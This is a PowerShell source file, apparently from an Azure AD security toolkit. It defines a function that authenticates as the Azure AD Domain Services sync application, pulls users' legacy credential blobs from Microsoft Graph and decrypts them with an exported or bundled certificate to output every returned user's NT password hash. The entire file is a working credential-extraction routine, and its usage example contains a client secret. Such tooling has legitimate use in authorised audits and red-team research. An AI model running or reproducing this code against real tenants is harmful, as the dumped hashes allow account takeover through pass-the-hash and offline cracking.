DCaaS.ps1
# Gets users NT Hashes from Azure AD # Dec 22nd 2022 function Get-UserNTHash { <# .SYNOPSIS Exports and decrypts the NTHashes from Azure AD using the given application and certificate. .DESCRIPTION Exports and decrypts the NTHashes from Azure AD using the given application and certificate. The application must be "Azure AD Domain Services Sync" created during the Azure AD Domain services (AADDS) deployment. Either client certificate or password needs to be provided. The encryption certificate needs to be exported from AADDS domain controller. .Example PS C\:>Get-AADIntUserNTHash -ClientPassword "vlb8Q~W8iVXwfdt2FjIH4FE0hRc-p9G_kyN_KbtZ" -ClientId "23857e6f-7be4-4bb8-84b7-22e92c359c8d" -PfxFileName .\encryption_cert.pfx NTHash UserPrincipalName ------ ----------------- 00000000000000000000000000000000 user1@company.com 11111111111111111111111111111111 user2@company.com #> [cmdletbinding()] Param( [Parameter(ParameterSetName='ClientPassword', Mandatory=$False)] [Parameter(ParameterSetName='ClientCert' , Mandatory=$True)] [string]$ClientPfxFileName, [Parameter(ParameterSetName='ClientPassword', Mandatory=$True)] [Parameter(ParameterSetName='ClientCert' , Mandatory=$False)] [string]$ClientPassword, [Parameter(Mandatory=$False)] [string]$ClientPfxPassword, [Parameter(Mandatory=$False)] [string]$PfxFileName, [Parameter(Mandatory=$False)] [string]$PfxPassword, [Parameter(Mandatory=$False)] [guid]$TenantId, [Parameter(Mandatory=$True)] [guid]$ClientId, [Parameter(Mandatory=$False)] [String]$UserPrincipalName, [Parameter(Mandatory=$False)] [switch]$UseBuiltInCertificate ) Process { # Load certificates if(![string]::IsNullOrEmpty($ClientPfxFileName)) { $clientCertificate = Load-Certificate -FileName $ClientPfxFileName -Password $ClientPfxPassword -Exportable } if($UseBuiltInCertificate) { $decryptionCertificate = Load-Certificate -FileName "$PSScriptRoot\ForceNTHash.pfx" -Exportable } elseif(![string]::IsNullOrEmpty($PfxFileName)) { $decryptionCertificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } else { Throw "Provide PfxFileName or use -UseBuiltInCertificate" } # Parse the tenant name from the cert and get id if not provided if([string]::IsNullOrEmpty($TenantId)) { try { $domainName = $decryptionCertificate.Subject.Split("-")[1].Trim() $TenantId = Get-TenantID -Domain $domainName } catch { throw "Unable to parse tenant id from the certificate. Try again with -Tenant switch." } } # Get access token $access_token = Get-DCaaSAccessToken -Certificate $clientCertificate -TenantId $TenantId -ClientId $ClientId -Password $ClientPassword $queryString = '$select=id,onPremisesImmutableId,onPremisesSecurityIdentifier,userPrincipalName,windowsLegacyCredentials'#,windowsSupplementalCredentials' if(![string]::IsNullOrEmpty($UserPrincipalName)) { $queryString += "&`$filter=userPrincipalName eq '$UserPrincipalName'" } $results = Call-MSGraphAPI -AccessToken $access_token -API users -QueryString $queryString foreach($result in $results) { if($result.windowsLegacyCredentials) { $binLegacyCreds = Convert-B64ToByteArray -B64 $result.windowsLegacyCredentials $ADAuthInfo = Unprotect-ADAuthInfo -Data $binLegacyCreds -Certificate $decryptionCertificate if($ADAuthInfo) { $binHash = $ADAuthInfo[8..($ADAuthInfo.length)] [PSCustomObject][ordered]@{ "NTHash" = Convert-ByteArrayToHex -Bytes $binHash "UserPrincipalName" = $result.UserPrincipalName } } else { Write-Verbose "Decryption failed: $($result.UserPrincipalName)" } } else { Write-Verbose "No NTHash: $($result.UserPrincipalName)" } } } } |